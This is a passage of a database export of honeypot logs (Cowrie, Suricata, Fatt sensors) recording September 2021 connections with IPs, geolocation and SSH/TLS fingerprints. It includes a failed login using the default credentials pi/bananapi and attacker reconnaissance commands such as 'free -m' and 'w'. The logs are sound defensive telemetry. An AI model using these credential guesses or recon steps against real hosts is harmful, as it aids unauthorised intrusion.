"771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36190, "dest_port": 443, "timestamp": "2021-09-20T12:11:26.577234", "@timestamp": "2021-09-20T12:11:26.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36014	209.197.3.8	109.199.241.180	Suricata	2021-09-20 15:11:27.279494+03	2021-09-20 15:15:04.021689+03	{"_id": "9wYeA3wBvYTbRNuERV-j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:27.279494+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "209.197.3.8", "asn": 20446, "as_org": "Highwinds Network Group, Inc.", "dma_code": 753, "latitude": 33.5097, "location": {"lat": 33.5097, "lon": -112.0678}, "timezone": "America/Phoenix", "city_name": "Phoenix", "longitude": -112.0678, "postal_code": "85012", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "209.197.3.8", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 2218878795989958, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 62556, "timestamp": "2021-09-20T12:11:27.279494Z", "@timestamp": "2021-09-20T12:11:27.279Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36015	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:27.70898+03	2021-09-20 15:15:04.022689+03	{"_id": "-wYeA3wBvYTbRNuESF9w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:27.708980Z", "@timestamp": "2021-09-20T12:11:27.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36016	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:28.780706+03	2021-09-20 15:15:04.02469+03	{"_id": "_QYeA3wBvYTbRNuETF9Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:28.780706Z", "@timestamp": "2021-09-20T12:11:28.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36017	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:29.399569+03	2021-09-20 15:15:04.02569+03	{"_id": "_gYeA3wBvYTbRNuETF9a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "43.240.6.90", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6189436912536621, "duplicate": true, "timestamp": "2021-09-20T12:11:29.399569Z", "@timestamp": "2021-09-20T12:11:29.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36018	95.85.8.215	109.199.241.180	Fatt	2021-09-20 15:11:30.046406+03	2021-09-20 15:15:04.026691+03	{"_id": "AwYeA3wBvYTbRNuETmC0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46496, "dest_port": 22, "timestamp": "2021-09-20T12:11:30.046406", "@timestamp": "2021-09-20T12:11:30.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
36019	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:11:29.996009+03	2021-09-20 15:15:04.028691+03	{"_id": "CQYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:46496 (192.168.176.2:22) [session: d49a83c7af69]", "session": "d49a83c7af69", "@version": "1", "protocol": "ssh", "src_port": 46496, "dest_port": 22, "timestamp": "2021-09-20T12:11:29.996009Z", "@timestamp": "2021-09-20T12:11:29.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
36020	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:29.824586+03	2021-09-20 15:15:04.029691+03	{"_id": "DAYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:29.824586Z", "@timestamp": "2021-09-20T12:11:29.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36021	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:30.443877+03	2021-09-20 15:15:04.03069+03	{"_id": "CwYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "43.240.6.90", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6193742752075195, "duplicate": true, "timestamp": "2021-09-20T12:11:30.443877Z", "@timestamp": "2021-09-20T12:11:30.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36022	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:21.445256+03	2021-09-20 15:15:04.03169+03	{"_id": "twYeA3wBvYTbRNuELV8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:21.445256Z", "@timestamp": "2021-09-20T12:11:21.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36023	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:22.50957+03	2021-09-20 15:15:04.032689+03	{"_id": "uwYeA3wBvYTbRNuEMF_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:22.509570Z", "@timestamp": "2021-09-20T12:11:22.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36024	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:22.93371+03	2021-09-20 15:15:04.034689+03	{"_id": "wwYeA3wBvYTbRNuEM19Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54588, "timestamp": "2021-09-20T12:11:22.933710", "@timestamp": "2021-09-20T12:11:22.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36025	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:23.581926+03	2021-09-20 15:15:04.03569+03	{"_id": "xwYeA3wBvYTbRNuENF_o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:23.581926Z", "@timestamp": "2021-09-20T12:11:23.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36026	93.184.220.29	109.199.241.180	Suricata	2021-09-20 15:11:23.447295+03	2021-09-20 15:15:04.036691+03	{"_id": "zAYeA3wBvYTbRNuENl8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:23.447295+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "93.184.220.29", "asn": 15133, "as_org": "MCI Communications Services, Inc. d/b/a Verizon Business", "latitude": 51.5164, "location": {"lat": 51.5164, "lon": -0.093}, "timezone": "Europe/London", "city_name": "London", "longitude": -0.093, "postal_code": "EC2V", "region_code": "ENG", "region_name": "England", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "src_ip": "93.184.220.29", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 403404709679935, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 62518, "timestamp": "2021-09-20T12:11:23.447295Z", "@timestamp": "2021-09-20T12:11:23.447Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	GB
36027	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:11:23.113825+03	2021-09-20 15:15:04.037689+03	{"_id": "zQYeA3wBvYTbRNuENl_7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54588, "dest_port": 22, "timestamp": "2021-09-20T12:11:23.113825", "@timestamp": "2021-09-20T12:11:23.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
36028	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:11:23.956138+03	2021-09-20 15:15:04.03869+03	{"_id": "zgYeA3wBvYTbRNuEOF_P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [pi/bananapi] failed", "session": "343b13eb48a4", "@version": "1", "password": "bananapi", "username": "pi", "timestamp": "2021-09-20T12:11:23.956138Z", "@timestamp": "2021-09-20T12:11:23.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
36029	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:24.199912+03	2021-09-20 15:15:04.039689+03	{"_id": "zwYeA3wBvYTbRNuEOF_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 19, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "43.240.6.90", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6180691719055176, "duplicate": true, "timestamp": "2021-09-20T12:11:24.199912Z", "@timestamp": "2021-09-20T12:11:24.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36030	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:24.624397+03	2021-09-20 15:15:04.042689+03	{"_id": "0AYeA3wBvYTbRNuEOF_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:24.624397Z", "@timestamp": "2021-09-20T12:11:24.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36031	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:24.624931+03	2021-09-20 15:15:04.043693+03	{"_id": "0QYeA3wBvYTbRNuEOF_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:24.624931Z", "@timestamp": "2021-09-20T12:11:24.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
